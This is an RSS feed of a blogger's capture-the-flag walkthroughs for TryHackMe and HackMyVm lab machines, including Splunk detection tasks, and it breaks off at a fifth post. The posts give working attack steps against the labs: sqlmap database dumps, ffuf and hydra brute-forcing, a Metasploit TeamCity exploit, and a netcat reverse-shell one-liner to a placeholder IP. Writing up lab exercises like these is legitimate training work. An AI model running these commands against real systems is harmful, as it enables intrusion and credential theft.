<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hritesh J on Medium]]></title>
        <description><![CDATA[Stories by Hritesh J on Medium]]></description>
        <link>https://medium.com/@greenorangge1?source=rss-359cc968104a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oS4Hl6gZIfCC9bSsE4k5pw.png</url>
            <title>Stories by Hritesh J on Medium</title>
            <link>https://medium.com/@greenorangge1?source=rss-359cc968104a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 00:40:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@greenorangge1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Try Hack Me — TryHack3M: Subscribe]]></title>
            <link>https://greenorangge1.medium.com/try-hack-me-tryhack3m-subscribe-a3458579f64a?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3458579f64a</guid>
            <category><![CDATA[tryhackme-subscribe]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Sun, 02 Mar 2025 17:34:35 GMT</pubDate>
            <atom:updated>2025-03-02T17:34:35.807Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — TryHack3M: Subscribe</h3><p>Can you help Hack3M reach 3M subscribers?</p><h3>Task 2 — Exploitation</h3><p>1. What is the invite code for the hackme.thm website?</p><p>Let’s add the attacking machine in our /etc/hosts file and navigate to http://hackme.thm in our browser. When we click on the join for FREE button, we have a signup page, where we need an invite code to enter. On looking at the source code, nothing interesting was found there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*sx9ZFNpZ3DrlgANl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Iav25JgWmS9BfwOc.png" /></figure><p>Doing a simple nmap scan nmap -p- -T4 10.10.236.10 followed by a in-depth scan on the open ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/0*kkE8RLos5bxLyYRp.png" /></figure><pre>root@ip-10-10-227-129:~# nmap -p 22,80,8000,8191,40009 -sV -O -T4 10.10.236.10<br>Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-28 09:48 GMT<br>Nmap scan report for hackme.thm (10.10.236.10)<br>Host is up (0.00038s latency).</pre><pre>PORT      STATE SERVICE         VERSION<br>22/tcp    open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>80/tcp    open  http            Apache httpd 2.4.41 ((Ubuntu))<br>8000/tcp  open  http            Splunkd httpd<br>8191/tcp  open  limnerpressure?<br>40009/tcp open  http            Apache httpd 2.4.41<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <a href="https://nmap.org/cgi-bin/submit.cgi?new-service">https://nmap.org/cgi-bin/submit.cgi?new-service</a> :<br>SF-Port8191-TCP:V=7.80%I=7%D=2/28%Time=67C18673%P=x86_64-pc-linux-gnu%r(Ge<br>SF:tRequest,A9,&quot;HTTP/1\.0\x20200\x20OK\r\nConnection:\x20close\r\nContent-<br>SF:Type:\x20text/plain\r\nContent-Length:\x2085\r\n\r\nIt\x20looks\x20like<br>SF:\x20you\x20are\x20trying\x20to\x20access\x20MongoDB\x20over\x20HTTP\x20<br>SF:on\x20the\x20native\x20driver\x20port\.\r\n&quot;)%r(FourOhFourRequest,A9,&quot;H<br>SF:TTP/1\.0\x20200\x20OK\r\nConnection:\x20close\r\nContent-Type:\x20text/<br>SF:plain\r\nContent-Length:\x2085\r\n\r\nIt\x20looks\x20like\x20you\x20are<br>SF:\x20trying\x20to\x20access\x20MongoDB\x20over\x20HTTP\x20on\x20the\x20n<br>SF:ative\x20driver\x20port\.\r\n&quot;);<br>MAC Address: 02:D4:24:3C:F3:89 (Unknown)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 3.8 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 1 hop<br>Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 53.31 seconds<br>root@ip-10-10-227-129:~#</pre><p>On doing a directory scan using dirb dirb http://hackme.thm/ -w /usr/share/wordlists/dirb/big.txt -r</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XS6WMvgwqiMLjJwG.png" /></figure><p>When we go to http://hackme.thm/js/ we find a link to invite.js where we find some useful things</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QwHC4zsKTfM1PMiL.png" /></figure><ul><li>The above code checks if the hostname is capture3millionsubscribers.thm. So let&#39;s add this in our /etc/hosts file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*HmjJ1m57vJX024C0.png" /></figure><ul><li>Now to change this let’s use Burp, capture the request and send it to the repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X0U-RgBlrPvBSPfx.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7PrRTwLlwH0d3yaI.png" /></figure><ul><li>We have to change</li><li>Path -&gt; /inviteCode1337HM.php</li><li>Host -&gt; capture3millionsubscribers.thm</li><li>Referer -&gt; <a href="http://capture3millionsubscribers.thm/sign_up.php">http://capture3millionsubscribers.thm/sign_up.php</a></li><li>We get the Invite Code!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lnDSVji6hmuNNr5l.png" /></figure><blockquote><em>VkXgo:Invited30MnUsers</em></blockquote><p>2. What is the password for the user <a href="/service/mailto:guest@hackme.thm">guest@hackme.thm</a>? Once we enter the code we get the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kN214QrvrrZK3Ybz.png" /></figure><blockquote><em>wedidit1010</em></blockquote><p>3. What is the secure token for accessing the admin panel?</p><p>On intercepting the request to the VIP room, we find an interesting cookie that is being set isVIP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LkpZ7GoxDvowvQGa.png" /></figure><ul><li>Let’s change this to true and see</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S94zeEzUmTeRN5cP.png" /></figure><ul><li>We can view the content!!</li></ul><p>So let’s capture the request when we click on the VIP room and change the isVIP to true. We observe an unusual request to <a href="http://capture3millionsubscribers.thm/BBF813FA941496FCE961EBA46D754FF3.php.">http://capture3millionsubscribers.thm/BBF813FA941496FCE961EBA46D754FF3.php.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZO5gJ9KGYA7dRyed.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*U6XdehV1XOhSsk6J.png" /></figure><p>On navigating to it while the isVIP is set to True we get a terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8CP0ew7tPvUV1EJW.png" /></figure><p>When we give the command ls it lists all the files in the directory, the token we are searching for can be found here config.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*6q3-H4F2O7M49uLy.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/0*9CLRSdMUJygNWtgQ.png" /></figure><blockquote><em>Answer : ACC#SS_TO_ADM1N_P@NEL</em></blockquote><p>4. What is the flag value after enabling the registration feature and getting 3M subscribers on the platform?</p><p>When we go to the URL http://admin1337special.hackme.thm:40009/public/html/ in the config.php file, we get a forbidden message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XgCSe2sQwUrFgfq9.png" /></figure><ul><li>Running dirb to see if there are other pages, we find a login page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PDPGvq9wEb5xWhfu.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PjPROaQrr5eI0io-.png" /></figure><p>I tried the guest credentials, but that did not work. On entering &#39; as the username and intercepting the request, we get an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PqauEuQZEMETiZDj.png" /></figure><p>Let’s save this request’s response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*U2MaAoESLW3lm9Sz.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DubLJT4r0py6Dymw.png" /></figure><ul><li>Using this response in sqlmap sqlmap -r response --dbs</li><li>-r here we give the saved response from burp</li><li>--dbs this is used to enumerate the database</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*H0COAnXq8sAMjaf5.png" /></figure><ul><li>Now enumerating the hackme database sqlmap -r response -D hackme --tables</li><li>-D specify the database we have to enumerate</li><li>--tables enumerate the tables of the DB</li><li>Enumerating the users table sqlmap -r response -D hackme -T users --dump</li><li>-T specify the table name to enumerate</li><li>--dump dump the DB table entries</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-rHMTMM-BwuHxOcE.png" /></figure><ul><li>Once we get the credentials we can login as admin and change the action. Once we change it and go back to the site, we get the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sk-cTCNyZLIlA3la.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7KMTiGABlrz9osoy.png" /></figure><blockquote><em>Answer : TryHack3M{3MSUBSCRIBERS}</em></blockquote><h3>Task 3 — Detection</h3><p>1. How many logs are ingested in the Splunk instance?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mcsDaYG9nNHUcFQa.png" /></figure><blockquote><em>Answer : 10530</em></blockquote><p>2. What is the web hacking tool used by the attacker to exploit the vulnerability on the website?</p><p>Since we know the incident took place on 04/04/2024, let&#39;s filter it accordingly</p><ul><li>We find one suspicious value in the uri, let’s filter using this. We can see the tool that was used</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d9u3_rixHY6Cel9T.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5LfbxTbQKJ3-BTjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-0PHxiY7-3Nk8QNG.png" /></figure><blockquote><em>Answer : sqlmap</em></blockquote><p>3. How many total events were observed related to the attack?</p><p>We should filter accordin to the user-agent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rpiu-GifKGdKAOcZ.png" /></figure><blockquote><em>Answer : 158</em></blockquote><p>4. What is the observed IP address of the attacker?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*OBwCzweRQSGLXR6L.png" /></figure><blockquote><em>Answer : 83.45.212.17</em></blockquote><p>5. How many events were observed from the attacker’s IP?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/0*CS5kyOdjO3qDX7eb.png" /></figure><blockquote><em>Answer 184</em></blockquote><p>6. What is the table used by the attacker to execute the attack?</p><p>We can see the sql query that was performed in the uri field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AkbaxgeJFmvRjQQH.png" /></figure><blockquote><em>Answer : TryHack3M_users</em></blockquote><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3458579f64a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Brains Walkthrough]]></title>
            <link>https://greenorangge1.medium.com/try-hack-me-brains-walkthrough-afd456057e41?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/afd456057e41</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Thu, 27 Feb 2025 17:33:02 GMT</pubDate>
            <atom:updated>2025-02-27T17:33:02.713Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Brains Walkthrough</h3><p>The city forgot to close its gate.</p><h3>Enumeration</h3><p>Starting off with a nmap scan nmap -p- -T4 10.10.4.66.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*_zYZZ-iEDOM5psu7.png" /></figure><p>We can do a more deep scan for the open ports</p><pre>nmap -sC -sV -p 22,80,35829,50000 -T4 10.10.4.66</pre><blockquote><em>I have restarted the session, hence the change in the attacking IP</em></blockquote><p>We get a message when we navigate to <a href="http://10.10.239.23/">http://10.10.239.23</a> . Even when viewing the source of this page, we find nothing useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e-J8soBAwfhfdnBT.png" /></figure><p>Checking http://10.10.239.23:50000/we have a login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I0cEeyl54UsXR1Aj.png" /></figure><p>On searching on google, TeamCity is a continuous integration server developed by JetBrains (ummm…..hence the room name).</p><ul><li>On the login page, we also get the version of this, and this version is vulnerable to authentication bypass allowing to perform admin actions (CVE-2024–27198).</li></ul><h3>Exploitation</h3><ul><li>Searching in msfconsole There is a exploit available</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4V89gtHnwB-9Ehht.png" /></figure><ul><li>Once we choose the exploit, these are the default options</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-n_KwIrb2TF0SSAz.png" /></figure><ul><li>We have to set the following options and run the exploit</li></ul><pre># setting RHOST and RPORT as attacking machine IP and PORT<br>set RHOSTS 10.10.239.23<br>set RPORT 50000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yF-fLzp9kX-cxeMO.png" /></figure><p>We get a shell! And the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/0*UsZgov-c22gyWsrW.png" /></figure><p><strong>1. What is the content of flag.txt in the user’s home folder?</strong></p><blockquote><em>THM{faa9bac345709b6620a6200b484c7594}</em></blockquote><p>Proceeding with Task 2</p><p><strong>1. What is the name of the backdoor user which was created on the server after exploitation?</strong></p><blockquote><em>eviluser</em></blockquote><p>As we have to search for the user that was added, we can search for useradd in splunk and we find a suspicious name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/0*_wVPjzZN7xQx_9-p.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zq_nTaSMIdghXNyd.png" /></figure><p><strong>2. What is the name of the malicious-looking package installed on the server?</strong></p><blockquote><em>datacollector</em></blockquote><p>We know from our previous search that the date the user was added was 07/04/2024. So, filtering our search for installing on that date we get the package name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*avOinkYr029I-qBi.png" /></figure><p><strong>3. What is the name of the plugin installed on the server after successful exploitation?</strong></p><blockquote><em>AyzzbuXY.zip</em></blockquote><p>Now searching for plugin on the same date range, we find out the plugin that was installed after exploitation.</p><p>Give this a 👏 if you found it useful! Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afd456057e41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Lookup Writeup]]></title>
            <link>https://greenorangge1.medium.com/try-hack-me-lookup-writeup-777df589abe1?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/777df589abe1</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 08:29:10 GMT</pubDate>
            <atom:updated>2025-02-26T08:29:10.929Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Lookup Writeup</h3><h4>Test your enumeration skills on this boot-to-root machine.</h4><blockquote>Room link — <a href="https://tryhackme.com/room/lookup">https://tryhackme.com/room/lookup</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*xjnjuRaFzbuVBe5A" /></figure><p>Let’s start with a nmap scan nmap -p- 10.10.78.164</p><ul><li>-p- denotes search for all ports</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*ZKEl1ObxPt6Eq9G5.png" /></figure><p>Finding more information on the discovered ports — nmap -sC -sV -p 22,80 10.10.78.164</p><ul><li>-sC is used to perform a script scan</li><li>-sV is used to detect the versions of the running services.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/0*zB4PjgdLv2V5B_Sf.png" /></figure><p>Now let’s look into the webpage — http://10.10.78.164 [for this to open on your browser, make sure to add 10.10.78.164 lookup.thm to <em>/etc/hosts</em> file]</p><p>Running dirb to find any directories which we can use dirb http://10.10.78.164 -w /usr/share/wordlists/rockyou.txt</p><ul><li>No directory found</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*dy82fSNOc4vfWSQK.png" /></figure><p>On logging in, we get different responses for different username and password</p><blockquote><em>admin:admin</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*Oa8sFaT1V4rcXaqG.png" /></figure><blockquote><em>test:test</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/0*C4Q4bTBCjBsajIrG.png" /></figure><ul><li>From the above we can conclude that this login page validates the username as well. Now we can try figuring out valid user names exploiting this functionality.</li><li>Let’s use the tool called ffuf</li></ul><pre>ffuf -H &#39;Content-Type: application/x-www-form-urlencoded&#39; -u &#39;http://lookup.thm/login.php&#39; -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d &#39;username=FUZZ&amp;password=test&#39; -mc all -t 100 -fs 74</pre><ul><li>- `mc` used to match HTTP status codes - `t` number of concurrent threads - `fs` Filter HTTP response size</li><li>We get another username <em>jose</em></li></ul><p>Now let’s try getting the password for <em>jose</em></p><pre>ffuf -H &#39;Content-Type: application/x-www-form-urlencoded&#39; -u &#39;http://lookup.thm/login.php&#39; -w /usr/share/wordlists/rockyou.txt -X POST -d &#39;username=jose&amp;password=FUZZ&#39; -mc all -t 100 -fs 62</pre><ul><li>We got the password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/0*4DAMFpKUYM00PyhP.png" /></figure><blockquote>Since I restarted the machine the IP address is changed to — 10.10.65.107</blockquote><p>On logging in using the gathered credentials <em>jose:password123</em>, we are navigated to <em>files.lookup.thm</em>, let’s add this as well in the <em>/etc/hosts</em> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*k0mpcZOvGY7oQQW_.png" /></figure><p>Searching about the software we find it is a <em>web file manager</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SzSGF2FQUjK6SVQm.png" /></figure><ul><li>Using msfconsole we can see if there is an exploit for this version of the software</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HLxg8EseKUvYlmAl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4OFQqPFVQResrIq2.png" /></figure><p>Now that we have a meterpreter connection, we can get the shell by typing the command shell and as this shell is unstable let us transfer it to our attacking machine:</p><ul><li>On the unstable shell rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2&gt;&amp;1 | nc YOUR_IP 4444 &gt;/tmp/f</li><li>On attacking system nc -lvnp 4444</li></ul><pre># once the connection is extablished to stabilise the shell we can execute the following <br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; <br>export TERM=xterm <br># Background the shell with &quot;CTRL + Z&quot;. <br>stty raw -echo; fg</pre><ul><li>Once we have a stable shell let’s check what are the processes that can be run as sudo user find / -type f -perm -u=s -ls 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CREZe5p0mLxCh8pP.png" /></figure><ul><li>Let’s run <em>/usr/sbin/pwm</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/0*W9oh0F3_LqbTK09D.png" /></figure><ul><li>Here it runs the id command and checks for the .passwords file.</li><li>Let’s manipulate this by doing a path hijack. As this id command is not getting the actual path we can use this to our advantage</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*--ObvtiO--S6USeB.png" /></figure><ul><li>When the /usr/sbin/pwm file runs it searches for id binary from the PATH variable, so by adding our folder [/tmp in this case as it is writable by all users] which contains a different file called id we can succesfully escalate our user privilege.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9i1uUeq6X-CKxahe.png" /></figure><ul><li>Store these passwords in a separate file and we can use this to get brute-force our way in. Using hydra we can try getting the password for ssh hydra -l think -P passwords lookup.thm -vV ssh -f</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-J0QL9QgRf_-VfdF.png" /></figure><ul><li>Now with the credentials we can login to ssh ssh think@lookup.thm</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*dNaMmFomeIQ1wwPW.png" /></figure><h4><strong>1. What is the user flag?</strong></h4><blockquote><em>38375fb4dd8baa2b2039ac03d92b820e</em></blockquote><ul><li>Now from this user let us escalate our privilege to root user. By running the sudo -l command we can see what commands can be run by think as sudo user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5FUEXATLdJJpsMqJ.png" /></figure><ul><li>So the look command works similar to grep</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XN8Vf9YPA64N9XQV.png" /></figure><ul><li>Let’s use this command to find the root flag, which is mostly located in /root/root.txt. But we are not sure of which exact number is there in the file content. So we can create a loop for this task.</li></ul><pre>for i in {1..9}; do sudo look $i /root/root.txt; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*X7aaYGdtYNk8KZLA.png" /></figure><h4><strong>2. What is the root flag?</strong></h4><blockquote><em>5a285a9f257e45c68bb6c9f9f57d18e8</em></blockquote><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=777df589abe1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVm: Machine — Pwned]]></title>
            <link>https://greenorangge1.medium.com/hackmyvm-machine-pwned-94fe97aa99ef?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/94fe97aa99ef</guid>
            <category><![CDATA[pwned-machine-hackmyvm]]></category>
            <category><![CDATA[hackmyvm-machines]]></category>
            <category><![CDATA[hackmyvm-pwned]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Mon, 26 Jun 2023 15:18:54 GMT</pubDate>
            <atom:updated>2023-06-26T15:18:54.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackMyVm: Machine — Pwned</h3><h4>Complete walkthrough of HackMyVm machine — Pwned.</h4><blockquote>URL: <a href="https://hackmyvm.eu/machines/machine.php?vm=Pwned">https://hackmyvm.eu/machines/machine.php?vm=Pwned</a></blockquote><p>First, let’s start off by doing a nmap scan to check the open ports.</p><ul><li>nmap -sV -oA /home/kali/Pwned_scan.txt 192.168.0.1/24</li><li>-sV : User to get the service/version info of the open ports</li><li>-oA : Outputs the nmap scan results in the given file location</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*I8ezUg8yWr1GM85P.png" /></figure><p>So 3 ports are open, let’s find what is there on port 80.</p><h3>Port 80</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K1f8rYxQs1UVSJcz.png" /></figure><p>And when we view the source of the page we find a comment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F21eGDUxpkbQYXce.png" /></figure><p>Now let’s see if there are any other hidden directories we can access using gobuster</p><ul><li>gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt</li></ul><p>We find /nothing , let’s try another wordlist</p><ul><li>gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</li></ul><p>We find /hidden_text , where we find a list of directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*qKwnSf8bLAyV30A-.png" /></figure><p>Let’s store this in a file and use this as our wordlist.</p><ul><li>curl http://192.168.0.107/hidden_text/secret.dic &gt; ~/pwned_dir.txt</li></ul><p>Using this wordlist in gobuster</p><ul><li>gobuster dir -u http://192.168.0.107 -w ~/pwned_dir.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*3X0CpchzwI2hR4b3.png" /></figure><ul><li>Let’s navigate to http://192.168.0.107/pwned.vuln/ in our browser, we can find a login page. On viewing the source code we get the password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-RQgkTAey1zSitQA.png" /></figure><p>These should be the credentials for the FTP server</p><h3>Port 21 — FTP</h3><p>Login to the FTP server ftp ftpuser@192.168.0.107 and when prompted enter the password we obtained from the source code.</p><p>If we ls we can find a share directory.</p><p>We can download the files to our local machine using the get followed by the file name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*79dyJAUyhRx3J2_Z.png" /></figure><p>We even find a id_rsa file which is the private key for ssh, which lets us log in without entering the password.</p><p>To ssh using the private key, we have to set the right file permissions chmod 600 id_rsa</p><ul><li>ssh ariana@192.168.0.107 -i id_rsa</li></ul><p>We will get the user flag! Okay, now let’s see if there is any other user. cd /home</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/0*iVun25_4DKTCWZMG.png" /></figure><p>Let’s see the messenger.sh cat messenger.sh</p><p>This script takes in input and the message that we provide, it executes the message. We need to take advantage of it.</p><p>Let’s check the sudo permissions for the user ariana : sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*UNhdDNfYbqM5PL7G.png" /></figure><p>ariana can execute the script as selena without requiring to enter the password.</p><p>Executing the script as selena sudo -u selena ./messenger.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*uwi3T8YZi6_IAeJA.png" /></figure><p>Now let’s open a shell using this as selena.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/0*br8M8e-JIzWx4YSB.png" /></figure><p>We have access to selena now, let’s run the id command to get more information of selena</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*LHzkc8ATchB9DyfF.png" /></figure><p>Docker creates new containers as a root user. The docker group grants root-level privileges to the user</p><p>We have to abuse this now to get the root flag.</p><p>Let’s make use of GTFObins, and break the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*8yOjXe82-x3L61cQ.png" /></figure><p>DONE!</p><p>Give this a 👏 if you found it helpful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94fe97aa99ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVm : Machine — Gift]]></title>
            <link>https://greenorangge1.medium.com/gift-easy-b9fcf8afcd71?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9fcf8afcd71</guid>
            <category><![CDATA[hackmyvm-gift]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[hackmyvm-machines]]></category>
            <category><![CDATA[gift-machine]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Thu, 22 Jun 2023 15:59:22 GMT</pubDate>
            <atom:updated>2023-06-26T07:29:01.892Z</atom:updated>
